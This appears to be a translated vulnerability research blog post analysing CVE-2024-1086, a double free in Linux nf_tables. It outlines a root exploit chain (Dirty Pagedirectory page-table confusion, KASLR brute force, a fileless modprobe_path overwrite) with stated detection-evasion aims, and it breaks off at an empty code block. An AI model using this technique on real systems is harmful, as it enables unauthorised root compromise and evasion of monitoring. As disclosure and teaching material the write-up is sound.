CVE-2024-1086 分析

sky123

这篇博客文章是我系列无样板代码的漏洞研究博客文章中的下一篇,专门为那些希望在未来进行 Linux 内核漏洞研究的时光旅行者而写。具体来说,我希望初学者能够从我的 VR 工作流中学习,而经验丰富的研究人员能够从我的技术中受益。

在这篇博客中,我讨论了我在 Linux 内核中的 nf_tables 发现的一个漏洞(CVE-2024-1086)及其根本原因分析。接着,我展示了我使用的一些新技术,能够在 v5.14 到 v6.6.14 之间的大多数 Linux 内核上(需要未特权的用户命名空间)获取通用 root shell,甚至不需要重新编译漏洞利用代码。由于漏洞利用的环境是数据仅依赖的 KSMA(Kernel-Space Mirroring Attack),这是可行的。这些目标内核包括 Ubuntu 内核、最新的 Debian 内核,以及一些最加固的 Linux 内核(如 KernelCTF 加固内核)。

此外,我提供了概念验证(PoC)源代码(也可在 GitHub 上的 CVE-2024-1086 PoC 仓库中找到)。作为额外的挑战,我还想让漏洞利用支持无文件执行(这在 CNO 中有帮助并避免在渗透测试中被检测到),且完全不对磁盘进行任何更改(包括将 /bin/sh 设置为 SUID 0 等等)。

这篇博客文章也旨在成为原始 Dirty Pagetable 博客的补充指南,考虑到在我开始写这篇博客时,还没有覆盖实际部分(例如,TLB 刷新用于漏洞利用)的博客文章。此外,我希望与 skb 相关的技术能够被嵌入到基于远程网络的漏洞利用中(例如,如果 IPv4 中仍然存在漏洞),并希望 Dirty Pagedirectory 技术能被用于本地提权(LPE)利用中。让我们开始吧!

0. 阅读前的说明

0.1 如何阅读这篇博客文章

对于有抱负的漏洞研究人员:我将这篇博客文章的格式稍微设计得像一篇研究论文,因为这种格式刚好是我所需要的:即使它可能需要很多信息去理解,但也很容易从中扫描和挑选知识。由于研究论文被许多人认为难以阅读,我想给出一些我如何高效地阅读这篇博客文章以提取知识的步骤:

  1. 阅读概述部分(看看内容是否对你有趣)
  2. 分屏阅读这篇博客文章(同时查阅和学习)
  3. 跳到 bug 部分(尝试理解这个 bug 是如何工作的)
  4. 跳到概念验证部分(通过漏洞利用进行演练)
  5. 如果有不清楚的地方,可以利用背景和/或技术部分。如果你想了解特定主题,我在大多数部分附上了外部文章。

0.2 受影响的内核版本

本节包含有关受此漏洞利用影响的内核版本的信息,在查找现有漏洞利用技术时很有用。根据这些观察结果,似乎至少从 v5.14.21(含)到 v6.6.14(含)之间的所有版本都可能受到影响,这取决于 kconfig 值(详细信息如下)。这意味着在撰写本文时,稳定分支 linux-5.15.ylinux-6.1.ylinux-6.6.y 都受到了这个漏洞的影响,可能包括 linux-6.7.1。幸运的是,稳定分支的一个补丁已于 2024 年 2 月发布。

注意,相同的基本配置文件被用于大多数原始内核,提到的版本都受 PoC 漏洞影响。基础配置文件是通过 kernel-hardening-checker 生成的。此外,如果某个版本未受漏洞影响,但利用技术仍然有效,则不会在表中显示。

对于原始内核,CONFIG_INIT_ON_FREE_DEFAULT_ON 在配置中被关闭,这会在释放后将页设置为全为零的字节,这阻碍了漏洞利用中 skb 部分的实现。此配置值在 KernelCTF、Ubuntu 和 Debian 等主要发行版中均关闭,因此我认为这是一个可以接受的措施。然而,CONFIG_INIT_ON_ALLOC_DEFAULT_ON 保持开启状态,因为它是 Ubuntu 和 Debian 内核配置的一部分。不幸的是,这在 v6.4.0 及之后的版本中会导致 bad_page() 检测副作用。关闭 CONFIG_INIT_ON_ALLOC_DEFAULT_ON 后,漏洞利用可以在 v6.6.4 及以下版本上运行。

该漏洞的成功率为 99.4%(n=1000),在 Linux 内核 v6.4.16 版本中有时会下降到 93.0%(n=1000),环境设置如下(使用 kernelctf 文件系统)。我预计成功率在不同版本之间不会有太大偏差,尽管它可能会因设备的工作负载不同而有所不同。我认为,如果漏洞利用在某个特定设置中尝试所有的利用都成功(通常需要手动验证,通常为 1-2 次),则可以认为它是成功的。由于成功率很高,很容易筛选出漏洞利用是否工作。此外,所有的失败情况均已被调查,并且失败原因也记录在表中,因此不太可能出现误报。

以下是该漏洞利用在不同内核版本及其设置下的测试结果的详细表格:

内核 内核版本 发行版 发行版版本 成功/失败 CPU 平台 CPU 核心数 内存大小 失败原因 测试状态 配置 URL
Linux v5.4.270 失败 QEMU x86_64 8 16GiB [代码] nft 代码版本过旧(拒绝规则分配) 最终 配置文件
Linux v5.10.209 失败 QEMU x86_64 8 16GiB [技术] BUG mm/slub.c:4118 最终 配置文件
Linux v5.14.21 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v5.15.148 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v5.16.20 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v5.17.15 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v5.18.19 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v5.19.17 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v6.0.19 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v6.1.55 KernelCTF Mitigation v3 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v6.1.69 Debian Bookworm 6.1.0-17 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v6.1.69 Debian Bookworm 6.1.0-17 成功 AMD Ryzen 5 7640U 6 32GiB 最终 配置文件
Linux v6.1.72 KernelCTF LTS 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v6.2.? Ubuntu Jammy v6.2.0-37 成功 AMD Ryzen 5 7640U 6 32GiB 最终
Linux v6.2.16 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v6.3.13 成功 QEMU x86_64 8 16GiB 最终 配置文件
Linux v6.4.16 失败 QEMU x86_64 8 16GiB [技术] 错误页:page->_mapcount != -1(-513),因为 CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y 最终 配置文件
Linux v6.5.3 Ubuntu Jammy v6.5.0-15 失败 QEMU x86_64 8 16GiB [技术] 错误页:page->_mapcount != -1(-513),因为 CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y 最终 配置文件
Linux v6.5.13 失败 QEMU x86_64 8 16GiB [技术] 错误页:page->_mapcount != -1(-513),因为 CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y 最终 配置文件
Linux v6.6.14 失败 QEMU x86_64 8 16GiB [技术] 错误页:page->_mapcount != -1(-513),因为 CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y 最终 配置文件
Linux v6.7.1 失败 QEMU x86_64 8 16GiB [代码] nft 判决值被内核更改导致不正确 最终 配置文件

1. 概述

1.1 摘要

在这篇博客文章中,我介绍了如何利用 Linux 内核中的一个 0-day 双重释放漏洞(例如 KernelCTF 加固内核实例),成功率为 93%-99%。该漏洞的根本原因是 netfilter 判决的输入验证失败。因此,漏洞利用的前提是启用了 nf_tables 并且启用了非特权用户命名空间。该漏洞利用是数据驱动的,使用了一种名为 Dirty Pagedirectory 的新技术,从用户态执行内核空间镜像攻击(KSMA),能够将任何物理地址及其权限链接到虚拟内存地址,只需从用户态进行读/写操作即可。

1.2 工作流程

为了触发导致双重释放的 bug,我在非特权用户命名空间中添加了一个 Netfilter 规则。该 Netfilter 规则包含一个设置恶意判决值的表达式,这会使内核内部的 nf_tables 代码首先解释为 NF_DROP,接着释放 skb,然后返回 NF_ACCEPT,以便继续数据包处理,导致 skb 被双重释放。然后,我通过分配一个 16 页的 IP 数据包(以便它由 buddy-allocator 分配,而不是 PCP-allocatorslab-allocator,并且在不同 CPU 之间共享缓存)来触发此规则。

为了延迟第二次释放(以避免数据损坏),我滥用了 IP 数据包的 IP 片段逻辑。这使得我们能够让 skb 在 IP 片段队列中“等待”任意时间而不被释放。为了遍历包含损坏的数据包元数据的代码路径,我伪造了 IP 源地址 1.1.1.1 和目标地址 255.255.255.255。然而,这意味着我们需要处理反向路径转发(RPF),因此我们需要在网络命名空间中禁用它(不需要 root 权限)。

为了实现对任何物理内存地址(包括内核地址)的无限读写,我提出了 Dirty Pagedirectory 技术。简单来说,这种技术是页表混淆,通过将一个 PTE 页和 PMD 页分配给同一个物理页来实现。

由于页表页面是通过调用 alloc_pages() 分配的 migratetype==0order==0 的页面,而 skb 头(双重释放的对象)是通过 kmalloc() 分配的,因此意味着使用了 slab-allocator 进行页级别为 order<=1 的分配,使用 PCP-allocator 进行页级别为 order<=3 的分配,而使用 buddy-allocator 进行页级别为 order>=4 的分配。为了避免麻烦(在博客中详细解释),我们必须使用 order>=4 的页面进行双重释放。这也意味着我们不能直接在 buddy-allocator 页面(order>=4)上进行双重分配 PTE/PMD 页(order==0),但我发现了一些方法来实现这一点。

为了使用基于 kmalloc 的双重释放来双重分配 PTE/PMD 页面,我提出了两种方法:

  • 更优的页面转换技术(PCP 清空)
    在这种更简单、更稳定、更快速的方法中,我们利用了这样一个事实,即 PCP 分配器只是一种每个 CPU 的自由列表,当它被耗尽时,会从 buddy-allocator 中重新填充页面。因此,我们只需将 order==4(16 页)的页面释放到 buddy-allocator 自由列表中,排空 PCP 列表,然后用 buddy-allocator 自由列表中的 64 个页面重新填充 order==0 的 PCP 列表,其中包含这些 16 个页面。

  • 原始页面转换技术(竞态条件)
    这种方法依赖于竞态条件,因此只在虚拟化环境(如 QEMU 虚拟机)中有效,在这种环境中,终端 IO 会导致虚拟机内核产生明显延迟。我们利用了 WARN() 消息引发的约 50-300 毫秒的延迟来触发竞态条件,将一个 order==4buddy 页面释放到 order==0 的 PCP 自由列表中。正如你可能注意到的,这在真实硬件上不起作用(延迟约为 1 毫秒),因此被替换为上述方法。不幸的是,我在最初的 KernelCTF 漏洞利用中使用了这种方法。

在双重释放之间,我确保页面引用计数不会降到 0,因为这会导致页面无法释放(可能是作为一种双重释放的缓解措施)。此外,我在相同 CPU 的 skbuff_head_cache slab 缓存中喷洒 skb 对象,以避免 KernelCTF 缓解实例中的实验性自由列表损坏检测,并提高整体稳定性。

当获得双重释放原语后,我将使用一种称为 Dirty Pagedirectory 的新技术,实现对任意物理地址的无限读写。这需要将一个页面表项(PTE)页面和一个页面中间目录(PMD)页面双重分配到同一个地址。当向 PTE 页面范围内的页面写入一个包含页面权限和物理地址的任意 PTE 值时,PMD 页面在尝试解引用 PTE 值的页面时,会将该地址解释为 PMD 页面范围内的地址。简而言之,就是从用户态将 PTE 值设置为 0xDEADBEEF,然后再次从用户态解引用该 PTE 值,以使用 0xDEADBEEF 中设置的标志(包括但不限于权限)访问由 0xDEADBEEF 引用的页面。

为了利用这种无限 R/W 的原语,我们需要刷新 TLB。在阅读了几篇不太实用的研究论文后,我想出了自己的复杂刷新算法,从用户态刷新 Linux 中的 TLB:调用 fork()munmap() 清除 VMA。为了避免在子线程退出程序时发生崩溃,我使子线程无限期休眠。

我利用这种无限的物理内存访问暴力破解物理 KASLR(这之所以被加速,是因为物理内核基地址与 CONFIG_PHYSICAL_START(例如 0x100'0000 / 16MiB)或(当定义时)CONFIG_PHYSICAL_ALIGN(例如 0x20'0000 / 2MiB)对齐),并通过检查 8GiB 内存机器上的 2MiB 页找到物理内核基地址(假设 16MiB 对齐),这甚至可以适应覆盖的单个 PTE 页面区域。为了检测内核,我使用了生成文件高度精确指纹的 get-sig 脚本,将其集成到我的漏洞利用中。

为了找到 modprobe_path,我对内核基地址之后的 80MiB 进行了简单的 “/sbin/modprobe” + “\x00” * … 的内存扫描,以获得对 modprobe_path 的访问。为了验证找到的是“真实的” modprobe_path 变量,而不是假阳性,我覆盖 modprobe_path,并检查 /proc/sys/kernel/modprobemodprobe_path 的只读用户界面)是否反映了这个更改。如果启用了 CONFIG_STATIC_USERMODEHELPER,它只会检查 “/sbin/usermode-helper”。

为了提权并打开 root shell(包括命名空间逃逸),我将 modprobe_path 或 “/sbin/usermode-helper” 重写为漏洞利用的 memfd 文件描述符,包含提权脚本,例如 /proc/<pid>/fd/<fd>。这种无文件的方法使得可以在完全只读的文件系统上运行漏洞利用(通过 Perl 引导)。如果漏洞利用在命名空间中运行,则需要暴力破解 PID,因为漏洞利用只知道命名空间的 PID,但幸运的是速度非常快,因为我们不需要刷新 TLB,因为我们没有改变 PTE 的物理地址。基本上,这就是将字符串写入用户态地址并执行文件。

在提权脚本中,我们将执行 /bin/sh 进程(作为 root)并将漏洞利用的文件描述符(/dev/<pid>/fd/<fd>)挂接到 shell 的文件描述符上,允许我们实现命名空间逃逸。这种方法的优势在于它非常通用,因为它适用于本地终端和反向 shell,完全不依赖文件系统和其他形式的隔离。

2. 背景信息

2.1. nf_tables

nf_tables 是 Linux 内核中的一个内置模块。在最新版本的 iptables(这是目前最受欢迎的防火墙工具之一)中,nf_tables 模块作为后端。iptables 本身是 ufw 后端的一部分。为了决定哪些数据包可以通过防火墙,nftables 使用了一个包含用户定义规则的状态机。

2.1.1. Netfilter 层次结构

这些规则有以下顺序(例如,一个表包含多个链,一个链包含多条规则,一条规则包含多个表达式):

  • 表(Tables)(针对协议)
  • 链(Chains)(触发条件)
  • 规则(Rules)(状态机函数)
  • 表达式(Expressions)(状态机指令)

图 2.1.1.1:nftables 的表、链、规则和表达式的层次概览。

这种结构使用户可以编写复杂的防火墙规则,因为 nftables 有许多可以串联在规则中用于过滤数据包的原子表达式。此外,它允许链在数据包处理代码的不同时间点运行(例如路由之前和路由之后),这些时间点可以在创建链时通过标志选择,如 NF_INET_LOCAL_INNF_INET_POST_ROUTING。由于其极高的可定制性,nftables 以非常不安全而闻名。因此,已经报告并修复了许多漏洞。

想了解更多关于 nftables 的信息,推荐阅读 @pqlqpql 的这篇博客文章:《How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables》。

2.1.2. Netfilter 判决(Verdicts)

更与本文相关的是 Netfilter 的判决。判决是 Netfilter 规则集对某个试图通过防火墙的数据包做出的决定。例如,可以是丢弃或者接受。如果规则决定丢弃数据包,Netfilter 将停止处理数据包。相反,如果规则决定接受数据包,Netfilter 将继续处理数据包,直到数据包通过所有规则。当前所有的判决包括:

  • NF_DROP: 丢弃数据包,停止处理。
  • NF_ACCEPT: 接受数据包,继续处理。
  • NF_STOLEN: 停止处理,需要钩子来释放数据包。
  • NF_QUEUE: 让用户态应用程序处理数据包。
  • NF_REPEAT: 再次调用钩子。
  • NF_STOP(已弃用): 接受数据包,停止 Netfilter 中的处理。

2.2. sk_buff (skb)

为了描述网络数据(包括 IP 数据包、以太网帧、WiFi 帧等),Linux 内核使用了 sk_buff 结构,并通常称它们为 skb 作为缩写。为了表示一个数据包,内核使用了两个对我们很重要的对象:sk_buff 对象本身,包含 skb 的处理元数据,以及 sk_buff->head 对象,包含实际的数据包内容,比如 IP 头和 IP 数据包的主体。

图 2.2.1:sk_buff 结构的数据缓冲区及其长度字段概览。

为了使用 IP 头中的值(因为 IP 数据包会在内核中解析),内核使用 ip_hdr() 函数对 IP 头结构和 sk_buff->head 对象进行类型重解(type punning)。这种模式在内核中被广泛应用,因为它允许快速解析头部信息。实际上,这种类型重解的技巧在执行二进制文件时也用于解析 ELF 头部。

要了解更多,可以查看 Linux 内核文档中的这一页:《struct sk_buff - The Linux Kernel》

2.3. IP 数据包分片

IPv4 的一个功能是数据包分片。分片允许数据包以多个 IP 分片的形式传输。分片本质上是常规 IP 数据包,除了它们不包含 IP 头中指定的完整数据包大小,并且在头部中设置了 IP_MF 标志。

IP 分片头中 IP 数据包长度的计算公式为:iph->len = sizeof(struct ip_header) * frags_n + total_body_length。在 Linux 内核中,单个 IP 数据包的所有分片都会存储到同一个红黑树(称为 IP 分片队列)中,直到所有分片都接收完毕。为了在重新组装时过滤出每个分片应该放置的位置,需要使用 IP 分片偏移量:iph->offset = body_offset >> 3,其中 body_offset 是最终 IP 主体中的偏移量,不包括计算 iph->len 时可能使用的任何 IP 头长度。如你所见,分片数据必须以 8 字节对齐,因为规格规定偏移量字段的高 3 位用于标志(如 IP_MFIP_DF)。如果我们想把 64 字节的数据通过 2 个大小分别为 8 字节和 56 字节的分片传输,应该像下面的代码那样格式化。内核随后会将 IP 数据包重新组装为 'A' * 64

代码块 2.3.1:描述 IP 分片头格式的 C 伪代码。

1
2
3
4
5
6
7
8
9
iph1->len = sizeof(struct ip_header)*2 + 64;
iph1->offset = ntohs(0 | IP_MF); // 设置 MORE FRAGMENTS 标志
memset(iph1_body, 'A', 8);
transmit(iph1, iph1_body, 8);

iph2->len = sizeof(struct ip_header)*2 + 64;
iph2->offset = ntohs(8 >> 3); // 不设置 IP_MF,因为这是最后一个分片
memset(iph2_body, 'A', 56);
transmit(iph2, iph2_body, 56);

要了解更多关于数据包分片的信息,可以阅读 PacketPushers 的这篇博客文章:《IP Fragmentation in Detail》

2.4. 页分配

Linux 内核中有三种主要的页分配方式:使用 slab 分配器、伙伴分配器(buddy allocator)和每 CPU 页(PCP)分配器。简而言之:伙伴分配器通过调用 alloc_pages() 分配页面,可以用于任意页的大小(0->10),并从跨 CPU 的全局页池中分配页面。PCP 分配器也通过调用 alloc_pages() 分配页面,主要用于从每 CPU 页池中分配大小为 0->3 的页面。此外,还有 slab 分配器,通过 kmalloc() 调用,可以从每 CPU 的专用空闲列表/缓存中分配 0->1 大小的页面(包括更小的分配)。

PCP 分配器的存在是因为当 CPU 正在从全局池分配页面时,伙伴分配器会锁定访问,因此当另一个 CPU 也要分配页面时会被阻塞。PCP 分配器通过在后台由伙伴分配器批量分配较小的每 CPU 页池来避免这一问题。这样,页分配阻塞的几率就会更小。

图 2.4.1:每种页分配器在不同页大小下的概览。

图 2.4.2:从 kmalloc() 开始的页分配过程活动图。

要了解更多关于伙伴分配器和 PCP 分配器的信息,请查看这篇详细分析中的页分配部分:《Reference: Analyzing Linux kernel memory management anomalies》

2.5. 物理内存

2.5.1. 物理到虚拟内存映射

内核的一个最基本的元素就是内存管理。当我们谈论内存时,可以分为两种类型:物理内存和虚拟内存。物理内存是 RAM 芯片使用的内存,而虚拟内存则是 CPU 上运行的程序(包括内核)与物理内存交互的方式。当然,当我们使用 gdb 调试二进制程序时,我们使用的所有地址都是虚拟地址,因为 gdb 和底层程序都是这样运行的。

本质上,虚拟内存建立在物理内存之上。这种模型的好处是虚拟地址范围比物理地址范围大,因为未使用的虚拟内存页可以取消映射,这对 ASLR 效率非常有利。此外,我们还可以将一个物理页面映射到多个虚拟页面上,或者让系统看起来好像有 128TiB 的地址,而实际上大部分并没有实际页面支持。

这意味着我们可以在只有 4GiB 物理内存的系统上,每个进程使用 128TiB 的虚拟内存范围。理论上,我们甚至可以将一个大小为 4096 字节的物理页面映射到所有 128TiB 的用户空间虚拟页面上。当一个程序想向虚拟页面写入一个 \x42 字节时,我们执行写时复制(COW),创建第二个物理页面,并将该页面映射到程序写入的那个虚拟页面。

图 2.5.1.1:虚拟内存页与物理内存页之间的映射关系。

为了将虚拟内存地址转换为物理内存地址,CPU 使用页表。因此,当用户态程序尝试读取(虚拟内存)地址 0xDEADBEEF 时,CPU 实际上会执行 mov rax, [0xDEADBEEF]。然而,为了真正从 RAM 芯片中读取值,CPU 需要将虚拟内存地址 0xDEADBEEF 转换为物理内存地址。

这种转换对内核和用户态程序是透明的。当用户态程序试图访问虚拟内存地址时,CPU 会在 MMU 中的 TLB(转换后备缓冲)中查找,这个 TLB 缓存了虚拟到物理地址的转换。如果虚拟地址 0xDEADBEEF(更确切地说是虚拟页面 0xDEADB000)最近被访问过,那么 TLB 就不需要遍历页表(将在下一小节中详细说明),因为物理地址已经被缓存了。如果地址不在 TLB 缓存中,TLB 需要遍历页表以获取物理地址。

要了解更多关于物理内存的信息,可以查看哈佛大学操作系统课程的这篇优秀的内存布局页面。

2.5.2. 页表

当 TLB 被请求查找虚拟地址对应的物理地址且该地址不在其缓存中时,TLB 会执行 “页遍历” 来获取虚拟地址的物理地址。页遍历意味着遍历页表,这些页表是几个嵌套数组,其中最底层的数组中存储了物理地址。

请注意,下面的示意图使用了 9 位的页表索引(因为 2**9 = 512 个页表值可以装入一个页面中)。此外,我们在这里使用的是 4 级页表,但内核还支持 5 级、3 级等页表。

图 2.5.2.1:虚拟地址到物理地址转换的示例。

这种嵌套数组的模型可以节省大量内存。与其为 128TiB 的虚拟地址分配一个巨大的数组,不如将其划分为多个较小的数组,每一层管理的范围更小。这意味着负责未分配区域的表不必被分配。

遍历页表的过程非常便宜,因为它基本上是 4-5 次数组解引用。这些解引用的索引——你准备好被惊艳了吗——嵌入在虚拟地址中。这意味着虚拟地址不是一个地址,而是包含了页表索引和前缀规范。这种优雅的方法允许在 O(1) 时间内获取物理地址,因为数组解引用是 O(1) 的,恢复索引的位移也是 O(1) 的。然而,由于页表需要经常被遍历,即使是这些数组解引用的速度也会变慢。因此,引入了 TLB。

在实际操作中,TLB 需要找到物理内存中的页表以进行页遍历。运行进程的用户态页表层次结构(PGD)的根地址存储在相应 CPU 核心的特权 CR3 寄存器中。”特权” 意味着该寄存器只能从内核空间访问,因为用户态访问会导致权限错误。当内核调度程序使 CPU 切换到另一个进程上下文时,内核会将 CR3 寄存器设置为 virt_to_phys(current->mm->pgd)

要了解更多关于 MMU 如何找到页表层次结构位置以执行 TLB 查找时的页面缺失处理,可以查看维基百科关于控制寄存器的页面

2.6. TLB 刷新

TLB 刷新是指,顾名思义,刷新 TLB。TLB(转换后备缓冲)缓存了虚拟地址和物理地址之间的转换。这种做法大大提高了性能,因为 CPU 不必再遍历页表,而是可以直接查找 TLB。

当虚拟地址的页表层次结构在内核空间中发生变化时,也需要在 TLB 中更新。这是通过在页表发生更改的函数中调用内核函数手动实现的。这些函数会“刷新”TLB,即清空 TLB 的转换缓存(可能仅针对某个地址范围)。然后,下次访问该虚拟地址时,TLB 会将转换结果保存到 TLB 缓存中。

然而,有时候我们在利用漏洞时会更改页表(及其虚拟地址),这种情况并不在预期之中。例如,使用一个 UAF 写入漏洞覆盖 PTE。这时,内核中的 TLB 刷新函数并不会被调用,因为我们并没有使用函数来更改页表,而那些函数确实会调用 TLB 刷新函数。因此,我们需要从用户态间接地刷新 TLB。否则,TLB 中会包含过时的缓存项。在本文的技术部分,我将展示一种自己设计的解决方法。

要了解更多关于 TLB 的信息,可以查看维基百科文章:《Translation lookaside buffer - Wikipedia》

2.7. Dirty Pagetable

Dirty Pagetable 是由 N. Wu 提出的一种新技术,核心在于通过覆盖 PTE 以进行 KSMA(内核空间内存镜像攻击)。他们的研究论文提出了两种覆盖 PTE 的场景:一个是双重释放漏洞,另一个是 UAF 写入漏洞。两种场景都配有实用示例。原始论文非常值得一读,因为我从中学到了很多。

图 2.7.1:Dirty Pagetable 技术的高级概述。

然而,原始论文中有一些关键话题没有涉及,我试图在本文中加以讨论。例如页表的工作方式、TLB 刷新、概念验证代码、物理 KASLR 的工作原理以及 PTE 值的格式。此外,我还在本文中介绍了一种该技术的变体(Dirty Pagedirectory)。

要了解更多,请参阅 N. Wu 的原始研究论文:《Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel》

2.8. 覆盖 modprobe_path

一种经典的提权技术是覆盖内核中的 modprobe_path 变量。该变量的值在编译时设置为 CONFIG_MODPROBE_PATH,并使用空字节填充至 KMOD_PATH_LEN 长度。通常情况下,CONFIG_MODPROBE_PATH 被设置为 /sbin/modprobe,因为这是 modprobe 二进制文件的常见路径。

当用户尝试执行一个具有未知魔数字节头的二进制文件时,使用该变量。例如,ELF 二进制文件的魔数字节为 FE45 4C46(即 .ELF)。执行二进制文件时,内核会查找与这些魔数字节匹配的已注册二进制文件处理程序。在 ELF 的情况下,会选择 ELF binfmt 处理程序。然而,当找不到匹配的 binfmt 时,内核会使用 modprobe_path 中存储的路径调用 modprobe,并查询名为 binfmt-%04x 的内核模块,其中 %04x 是文件的前两个字节的十六进制表示。

图 2.8.1:modprobe_path 提权技术的分析。

为了利用这一点,我们可以将 modprobe_path 的值覆盖为提权脚本的路径(例如赋予 /bin/sh root SUID 权限),然后通过尝试执行一个无效格式的文件(如 ffff ffff)来调用 modprobe。内核将以 root 权限运行 /tmp/privesc_script.sh -q -- binfmt-ffff,这样我们就可以以 root 权限运行任何代码。这使得我们不必自己运行内核函数,而是可以通过覆盖一个字符串轻松提权。

在某个时间点,CONFIG_STATIC_USERMODEHELPER_PATH 缓解措施被引入,使得覆盖 modprobe_path 变得无用。该缓解措施通过将每个被执行二进制文件的路径设置为类似于 busybox 的二进制文件来工作,而该二进制文件的行为取决于传递的 argv[0] 文件名。因此,即使我们覆盖了 modprobe_path,也只有 argv[0] 的值发生了变化,busybox 类似的二进制文件无法识别这个值,因此不会执行。

本文展示的漏洞利用可以在有无 CONFIG_STATIC_USERMODEHELPER_PATH 的情况下都正常工作,因为我们可以简单地覆盖内核内存中只读的 "/sbin/usermode-helper" 字符串。

要了解更多关于 modprobe_path 技术的信息,可以查看 Github 上用户 Smallkirby 的这篇页面:《modprobe_path.md · smallkirby/kernelpwn》

2.9. KernelCTF

KernelCTF 是由 Google 运行的一个项目,旨在披露针对(加固)Linux 内核的新利用技术。它也是为 Linux 内核中的任何漏洞获得道德赏金的一个好方法,因为赏金金额从 $21.337 到 $111.337 甚至更多,这取决于漏洞的范围以及是否有新颖的利用技术。

KernelCTF 的主要概述是有三个机器类别:LTS(长期稳定内核,具有现有的缓解措施)、Mitigation(在现有缓解措施基础上加固的内核)和 COS(优化容器的操作系统)。每个机器版本只能被“攻击”一次,首先成功的研究人员将获得奖励。这意味着如果研究员 A 成功攻破了 LTS 版本 6.1.63,那么研究员 A 和研究员 B 仍然可以攻破 Mitigation 版本 6.1.63。在 KernelCTF 平台上发布下一个版本(通常是两周后)后,研究员 A 和研究员 B 可以再次尝试攻破 LTS 版本 6.1.65。然而,研究员 A 针对 6.1.63 版本报告的漏洞很可能已被修复,因此如果再次尝试利用它,会被视为重复。

要“攻破” KernelCTF 机器,研究人员需要读取根(jail 宿主)命名空间中的 /flag 文件,该文件只有 root 用户可以读取。正如你所预料的,这通常需要同时进行命名空间沙箱(nsjail)逃逸以及提权到 root 用户。最终目标是只要捕获了 flag,过程如何并不重要。

要调试环境,可以查看 KernelCTF 团队提供的 local_runner.sh 脚本。注意其中的 --root 参数,它允许你在 jail 外部运行 root shell。

要了解更多关于 KernelCTF 项目的信息,请查看这个页面:“KernelCTF rules | security-research”

3. 漏洞

3.1. 发现漏洞

一切始于我想要在 ORB rootkit Netkit 中实现防火墙绕过。我想依赖于内核 API(导出函数)来执行所有操作,因为这样可以获得与常规内核模块相同的兼容性。希望这意味着 rootkit 内核模块可以跨架构和内核版本使用,而无需更改源代码。

这将我引向了一个名为 Netfilter 的“兔子洞”。在这项研究之前,我对 Netfilter 没有任何实际经验,所以我不得不自己做大量研究。幸运的是,来自内核开发人员和信息安全社区的大量文档对我非常有帮助。在阅读子系统的文档后,我从上至下阅读了与 nf_tables 规则和表达式相关的源代码。

在阅读 nf_tables 代码时——它的状态机从软件开发的角度来看非常有趣——我注意到了 nf_hook_slow() 函数。这个函数遍历链中的所有规则,当发出 NF_DROP 时,它会立即停止评估并返回。

在处理 NF_DROP 时,它释放了数据包,并允许用户使用 NF_GET_DROPERR() 设置返回值。有了这个知识,我使函数在处理 NF_DROP 时返回 NF_ACCEPT。经过多次内核崩溃和代码路径分析后,我找到了一个双重释放漏洞。

代码段 3.1.1:nf_hook_slow() 内核函数,遍历 nftables 规则。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 当 skb 触发链时,遍历现有规则
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;

// 遍历每个规则
for (; s < e->num_hook_entries; s++) {
// 获取规则的判决
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);

switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
break; // 继续下一个规则
case NF_DROP:
kfree_skb_reason(skb, SKB_DROP_REASON_NETFILTER_DROP);

// 检查判决是否包含 drop 错误
ret = NF_DROP_GETERR(verdict);
if (ret == 0)
ret = -EPERM;

// 立即返回(不评估其他规则)
return ret;

// [省略] 其他判决情况
default:
WARN_ON_ONCE(1);
return 0;
}
}

return 1;
}

3.2 根本原因分析

该漏洞的根本原因相对简单,是一个输入验证的缺陷。其影响是产生了一个稳定的双重释放原语。

数据流分析的关键细节在于,当为 Netfilter 钩子创建判决对象时,内核允许了正的丢弃错误值。这意味着攻击用户可以造成如下情形:当某个钩子/规则返回 NF_DROP 时,nf_hook_slow() 会释放 skb 对象,然后返回 NF_ACCEPT,就好像链中的每个钩子/规则都返回了 NF_ACCEPT 一样。这导致 nf_hook_slow() 的调用者错误解释了情况,继续解析数据包并最终导致双重释放。

以下是代码片段的详细说明:

代码块 3.2.1:nft_verdict_init() 函数用 C 语言编写,用于构建 netfilter 判决对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// 用户态 API(基于 netlink)的处理器,用于初始化判决
static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
struct nft_data_desc *desc, const struct nlattr *nla)
{
u8 genmask = nft_genmask_next(ctx->net);
struct nlattr *tb[NFTA_VERDICT_MAX + 1];
struct nft_chain *chain;
int err;

// [省略] 初始化内存

// 恶意用户:data->verdict.code = 0xffff0000
switch (data->verdict.code) {
default:
// data->verdict.code & NF_VERDICT_MASK == 0x0 (NF_DROP)
switch (data->verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
break; // 正常流程
default:
return -EINVAL;
}
fallthrough;
case NFT_CONTINUE:
case NFT_BREAK:
case NFT_RETURN:
break; // 正常流程
case NFT_JUMP:
case NFT_GOTO:
// [省略] 处理这些情况
break;
}

// 成功将判决值设置为 0xffff0000
desc->len = sizeof(data->verdict);

return 0;
}

代码块 3.2.2:nf_hook_slow() 函数用 C 语言编写,用于遍历 nftables 规则。

1
2
